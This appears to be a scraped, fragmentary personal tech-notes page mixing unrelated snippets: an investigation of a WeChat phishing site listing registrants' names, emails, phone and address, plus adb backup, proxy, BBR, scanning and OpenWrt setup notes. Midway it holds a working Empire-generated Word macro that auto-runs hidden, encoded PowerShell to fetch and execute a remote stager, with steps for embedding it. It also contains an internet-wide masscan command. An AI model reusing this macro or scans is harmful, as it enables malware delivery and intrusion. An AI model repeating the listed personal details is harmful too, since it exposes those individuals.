1 | tps.oy54.cn |
redirect to
| PC UA | Mobile UA |
|---|---|
| http://main.haidaowx.cn/Login.aspx | http://wx001.ailuquan.cn/index/index/sao?user=35641&type=1 |
1 | 蔡文学/13560062@qq.com |
1 | 刘洁/13560062@qq.com |
1 | 王焱/3300308307@qq.com |
1 | domain：3300308307.com |
| company | mobile | address | name | |
|---|---|---|---|---|
| 信阳同城网络科技有限公司 | 13033785072 | itwy88@163.com | 信阳市浉河区中山北路弘运鑫鑫广场写字楼1416号房 | 王焱 |
此平台通过在手机上发布微信僵尸粉检测来获取用户信息，主要用途猜测:
Android allowBackup tips
1 | > adb backup com.example.sharedprefs -f com.example.sharedprefs.ab |
1 | > java -jar abe.jar unpack com.example.sharedprefs.ab com.example.sharedprefs.tar |
1 | > java -jar abe.jar pack com.example.sharedprefs.tar com.example.sharedprefs.ab |
1 | > adb restore back com.example.sharedprefs.ab |
1 | > adb backup -f com.example.sharedprefs.ab com.example.sharedprefs |
CentOS 6+，Debian 7+，Ubuntu 12+
1 | > wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.11/linux-headers-4.11.0-041100_4.11.0-041100.201705041534_all.deb |
or quick install via bash script1
2
3
4
5
6> wget -N --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh && chmod +x bbr.sh && bash bbr.sh
> uname -r # if have 4.9.0 success install
> sysctl net.ipv4.tcp_available_congestion_control
> sysctl net.ipv4.tcp_congestion_control
> sysctl net.core.default_qdisc
> lsmod | grep bbr # have bbr success install
1 | > apt-get install git |
Debian / Ubuntu:1
2> apt-get install git
> git clone https://github.com/shadowsocksr/shadowsocksr.git
CentOS:1
2> yum install git
> git clone https://github.com/shadowsocksr/shadowsocksr.git
Windows:1
> git clone https://github.com/shadowsocksr/shadowsocksr.git
1 | > cd shadowsocksr && bash initcfg.sh |
Android APP: SSR-android
iOS APP： Shadowrocket, Potatso2
MAC APP：ShadowsocksX-NG-R8
其它跨平台分支：avege, electron-ssr
1 | > vi /etc/security/limits.conf # add line to file |
1 | 右上角网络连接>>编辑连接>>增加>> |
sudo cat /etc/NetworkManager/system-connections/ethernet
1 | [connection] |
1 | > brew install aria2 |
1 | > mkdir ~/.aria2 && cd ~/.aria2 |
1 | > aria2c #so open Aria2GUI.app to add file download |
> python empire
1 | ==================================================================================== |
> cat /tmp/macro1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47Sub AutoOpen()
Debugging
End Sub
Sub Document_Open()
Debugging
End Sub
Public Function Debugging() As Variant
Dim Str As String
str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
str = str + "AFkAcwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAVgBpAGMARQBQAG"
str = str + "8ASQBOAHQATQBBAE4AQQBnAGUAUgBdADoAOgBFAHgAUABFAEMA"
str = str + "VAAxADAAMABDAG8AbgB0AEkATgBVAEUAIAA9ACAAMAA7ACQAVw"
str = str + "BDAD0ATgBFAFcALQBPAGIASgBlAGMAdAAgAFMAWQBzAHQARQBN"
str = str + "AC4ATgBFAFQALgBXAGUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9AC"
str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
str = str + "gARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEA"
str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAFgAeQ"
str = str + "AgAD0AIABbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBXAEUAYgBS"
str = str + "AEUAUQBVAGUAUwB0AF0AOgA6AEQARQBmAEEAdQBMAHQAVwBlAE"
str = str + "IAUAByAE8AeAB5ADsAJAB3AGMALgBQAHIATwB4AHkALgBDAHIA"
str = str + "ZQBkAEUATgB0AEkAYQBsAFMAIAA9ACAAWwBTAHkAUwBUAGUATQ"
str = str + "AuAE4AZQBUAC4AQwBSAGUARABFAE4AVABJAEEATABDAEEAQwBo"
str = str + "AGUAXQA6ADoARABlAEYAYQBVAEwAdABOAGUAdAB3AE8AcgBLAE"
str = str + "MAcgBlAEQAZQBOAFQAaQBhAEwAUwA7ACQASwA9ACcAVABFAGMA"
str = str + "ewBZAEAAXgBMAEkASgB4AFYAZwAxAHAAWgBhADIAVQAzAEYAaQ"
str = str + "BOAEgAXQBgAD8AcgBCAHUAJQAqACcAOwAkAGkAPQAwADsAWwBj"
str = str + "AEgAQQBSAFsAXQBdACQAQgA9ACgAWwBjAEgAQQBSAFsAXQBdAC"
str = str + "gAJAB3AGMALgBEAE8AVwBOAEwAbwBhAGQAUwBUAFIASQBuAGcA"
str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALg"
str = str + "AyADAANgA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAi"
str = str + "ACkAKQApAHwAJQB7ACQAXwAtAGIAWABPAHIAJABrAFsAJABJAC"
str = str + "sAKwAlACQAawAuAEwARQBOAEcAdABIAF0AfQA7AEkARQBYACAA"
str = str + "KAAkAEIALQBKAE8ASQBuACcAJwApAA=="
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create str, Null, objConfig, intProcessID
End Function
打开Word>>视图>>宏>>查看宏>>输入宏名>>创建>>输入macro中内容>>保存
1 | > brew install nmap |
nmap -h
1 | Nmap 7.40 ( https://nmap.org ) |
NSE Categories1
2
3
4
5
6
7
8
9
10
11
12
13
14auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln
1 | > sudo nmap -sS -Pn -n -v -sn -T5 -iL ips.txt |
1 | 192.168.1.2;test.lan;135;tcp;msrpc;Microsoft Windows RPC;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) |
Import Metasploit
msfconsole
1 | msf > db_import test.xml |
masscan –nmap
1 | Usage: masscan [Options] -p{Target-Ports} {Target-IP-Ranges} |
Other Setting1
2--wait <int>: wait time
-oR <value>: setting redis connect 127.0.0.1:6379
1 | > masscan 0.0.0.0/4 -p80 --rate 100000000 --router-mac 66-55-44-33-22-11 |
Differences in Log Formats
| time | ip | port | state/status | ip_proto | reason | ttl | proto/service | owner | sunrpc | version | banner | cert | |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| binary | yes | yes | yes | yes | yes | yes | yes | yes | n/a | n/a | n/a | yes | yes |
| xml | no | yes | yes | yes | yes | yes | yes | yes | n/a | n/a | n/a | yes | yes |
| grepable | no | yes | yes | yes | yes | no | no | yes | n/a | n/a | n/a | yes | yes |
| json | no | yes | yes | yes | yes | yes | yes | yes | n/a | n/a | n/a | yes | yes |
| null | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a | n/a |
| redis | no | yes | yes | no | yes | no | no | no | n/a | n/a | n/a | no | no |
| text | yes | yes | yes | yes | yes | no | no | yes | n/a | n/a | n/a | yes | yes |
| unicornscan | no | yes | yes | yes | yes | no | yes | no | n/a | n/a | n/a | no | no |
Capabilities and samples1
2
3
4
5
6
7
8binary
xml
grepable
json
null
redis
text (a.k.a. "list")
unicornscan
import to redis
1 | > sudo masscan -p8899,8088,5566 119.97.243.42 --output-format redis -oR 127.0.0.1:6379 |
redis-cli
1 | 127.0.0.1:6379> keys * |
1 | > opkg update |
root@OpenWrt:~# vi /etc/tor/torrc1
2
3
4
5
6
7
8RunAsDaemon 0
DataDirectory /var/lib/tor
User tor
Socks5Proxy 127.0.0.1:1080
SocksPort 0.0.0.0:9050
TransPort 0.0.0.0:9040
DNSPort 0.0.0.0:53
AvoidDiskWrites 1
root@OpenWrt:~# vi /etc/config/dhcp1
2
3config dnsmasq
option noresolv '1'
list server '127.0.0.1#53'
root@OpenWrt:~# /etc/init.d/tor stop
root@OpenWrt:~# tor
1 | > opkg update |
Services >> ChinaDNS
| header 1 | header 2 |
|---|---|
| Enable | ☑️ |
| Enable Bidirectional Filter | ☑️ help Also filter results inside China from foreign DNS servers |
| Local Port | 5353 |
| CHNRoute File | /etc/chinadns_chnroute.txt |
| Upstream Servers | 180.76.76.76,8.8.4.4 |
root@OpenWrt:~# crontab -e
1 | 0 0 * * * wget -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F\| '/CN\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /etc/chinadns_chnroute.txt |
Services >> ShadowSocks >> General Settings >> Transparent Proxy
| header 1 | header 2 |
|---|---|
| Main Server | [Shadowsocks server IP:Port] |
| UDP-Relay Server | Same as Main Server |
| Local Port | 1234 |
Services >> ShadowSocks >> SOCKS5 Proxy
| header 1 | header 2 |
|---|---|
| Server | [Shadowsocks Server IP:Server Port] |
| Local Port | 1080 |
Services >> ShadowSocks >> Servers Manage >> Edit
| header 1 | header 2 |
|---|---|
| Server | [Shadowsocks IP] |
| Server Port | [Shadowsocks Port] |
| Connection Timeout | 60 |
| Password | password |
| Encrypt Method | AES-256-CFB |
| Plugin Name | |
| Plugin Arguments |
1 | > brew install openssl autoconf |
open MAMP Pro > File > Edit Template > PHP > php5.6.10.ini1
2
3
4
5
6
7
8MAMP_apc_MAMP
extension=imap.so
extension=gettext.so
extension=mcrypt.so
extension=yaz.so
extension=pgsql.so
extension=pdo_pgsql.so
extension=mongodb.so
open http://127.0.0.1/phpinfo.php grep mongodb
Q11
2
3
4running: phpize
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/main/php.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_modules.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_extensions.h: No such file or directory
fix1
sudo ln -s /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/ /Applications/MAMP/bin/php/php5.6.10/include
Q21
2
3
4
5private/tmp/pear/install/mongodb/src/libbson/src/bson/ -DHAVE_CONFIG_H -g -O2 -D_THREAD_SAFE -pthread -c /private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c -fno-common -DPIC -o src/libmongoc/src/mongoc/.libs/mongoc-crypto-openssl.o
/private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c:24:10: fatal error: 'openssl/sha.h' file not found
#include <openssl/sha.h>
^
1 error generated.
fix1
2> cd /usr/local/include
> ln -s ../opt/openssl/include/openssl .